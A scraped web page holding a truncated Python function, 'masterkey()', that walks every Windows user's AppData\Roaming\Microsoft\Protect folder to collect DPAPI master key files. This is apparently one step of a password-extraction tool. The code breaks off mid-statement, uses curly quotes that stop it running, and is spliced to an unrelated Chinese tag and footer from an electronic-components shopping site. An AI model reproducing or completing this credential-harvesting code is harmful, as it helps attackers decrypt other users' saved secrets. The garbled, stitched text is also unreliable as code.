def masterkey(): print(’-’ * 50 + ‘\n’ + r’[3] Get the master key file for all users:’) for username in os.listdir(usersdir): Protectdir = usersdir + ‘’ + username + r’\AppData\Roaming\Microsoft\Protect’ if os.path.isdir(Protectdir): shutil

标签: 智能型差压变送器mx

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台